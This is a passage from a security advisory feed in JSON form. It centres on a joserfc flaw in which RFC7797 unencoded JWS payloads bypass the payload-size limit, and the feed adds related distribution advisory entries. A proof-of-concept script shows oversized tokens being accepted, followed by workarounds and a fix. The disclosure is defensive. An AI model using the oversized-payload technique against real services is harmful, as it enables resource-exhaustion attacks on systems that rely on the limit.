script:\n\n```python\n#!/usr/bin/env python3\nimport json\n\nimport joserfc\nfrom joserfc import jws\nfrom joserfc.jwk import OctKey\n\n\ndef check_compact(name, header, payload, key):\n    token = jws.serialize_compact(header, payload, key)\n    try:\n        obj = jws.deserialize_compact(token, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\ndef check_json(name, protected, payload, key):\n    data = jws.serialize_json({\"protected\": protected}, payload, key)\n    try:\n        obj = jws.deserialize_json(data, key)\n        return {\n            \"case\": name,\n            \"accepted\": True,\n            \"exception\": None,\n            \"payload_len_after_deserialize\": len(obj.payload),\n        }\n    except Exception as exc:\n        return {\n            \"case\": name,\n            \"accepted\": False,\n            \"exception\": type(exc).__name__,\n            \"error\": str(exc),\n        }\n\n\nkey = OctKey.import_key(\"secret-secret-secret\")\nlimit = jws.default_registry.max_payload_length\npayload = \"A\" * (limit + 1)\n\nresults = {\n    \"joserfc_version\": joserfc.__version__,\n    \"default_max_payload_length\": limit,\n    \"payload_len\": len(payload),\n    \"compact\": [\n        check_compact(\"normal_b64_true\", {\"alg\": \"HS256\"}, payload, key),\n        check_compact(\n            \"rfc7797_b64_false\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n    \"json\": [\n        check_json(\"normal_b64_true_json\", {\"alg\": \"HS256\"}, payload, key),\n        check_json(\n            \"rfc7797_b64_false_json\",\n            {\"alg\": \"HS256\", \"b64\": False, \"crit\": [\"b64\"]},\n            payload,\n            key,\n        ),\n    ],\n}\nprint(json.dumps(results, indent=2, sort_keys=True))\n```\n\nExpected output on `1.6.5` includes:\n\n```json\n{\n  \"default_max_payload_length\": 128000,\n  \"payload_len\": 128001,\n  \"compact\": [\n    {\n      \"case\": \"normal_b64_true\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ],\n  \"json\": [\n    {\n      \"case\": \"normal_b64_true_json\",\n      \"accepted\": false,\n      \"exception\": \"ExceededSizeError\"\n    },\n    {\n      \"case\": \"rfc7797_b64_false_json\",\n      \"accepted\": true,\n      \"exception\": null,\n      \"payload_len_after_deserialize\": 128001\n    }\n  ]\n}\n```\n\n## Version Checks\n\nI reproduced the same differential behavior on these releases:\n\n| Version | Normal JWS over limit | RFC7797 `b64=false` over limit |\n| --- | --- | --- |\n| 1.3.4 | `ExceededSizeError` | accepted |\n| 1.3.5 | `ExceededSizeError` | accepted |\n| 1.4.2 | `ExceededSizeError` | accepted |\n| 1.6.2 | `ExceededSizeError` | accepted |\n| 1.6.3 | `ExceededSizeError` | accepted |\n| 1.6.4 | `ExceededSizeError` | accepted |\n| 1.6.5 | `ExceededSizeError` | accepted |\n\nThe exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.\n\n## Relationship to Existing Advisories\n\nI found two related public advisories for `joserfc`, but neither appears to cover this root cause.\n\n`GHSA-frfh-8v73-gjg4` / `CVE-2025-65015` describes oversized token parts being included in `ExceededSizeError` messages in older release ranges. The issue described here reproduces in `1.6.5` and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising `ExceededSizeError`.\n\n`GHSA-w5r5-m38g-f9f9` / `CVE-2026-27932` describes unbounded PBES2 `p2c` iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.\n\n## Workarounds\n\nBefore a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to `joserfc`, disabling or disallowing RFC7797 `b64=false` tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.\n\n## Suggested Remediation\n\nApply `registry.validate_payload_size(payload_segment)` to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the `payload` argument should be checked in the same way.","status":"published","published":"2026-07-13T15:46:24.974794Z","modified":"2026-07-13T16:31:58.801108194Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"RHSA-2026:25039","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-06-19T10:06:17Z","modified":"2026-10-17T10:11:22Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.449341Z"},{"id":"UBUNTU-CVE-2026-48990","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In versions 1.3.4 through 1.6.5, joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length, which can lead to resource exhaustion. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length. Applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification have a moderate availability risk. This issue has been fixed in version 1.6.7.","status":"published","published":"2026-06-17T22:16:00Z","modified":"2026-06-24T11:01:41.863968561Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"openSUSE-SU-2026:11067-1","title":"python311-joserfc-1.7.1-1.1 on GA media","description":"These are all security issues fixed in the python311-joserfc-1.7.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-19T00:00:00Z","modified":"2026-06-20T08:45:08.143441525Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"ROOT-APP-PYPI-CVE-2026-48990","title":"CVE-2026-48990 in rootio-joserfc - Patched by Root","description":"Root has patched CVE-2026-48990 in the rootio-joserfc package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-07-07T13:10:05Z","modified":"2026-07-07T19:45:08.686772528Z","updated_at":"2026-11-02T15:53:28.259095Z"}]}}
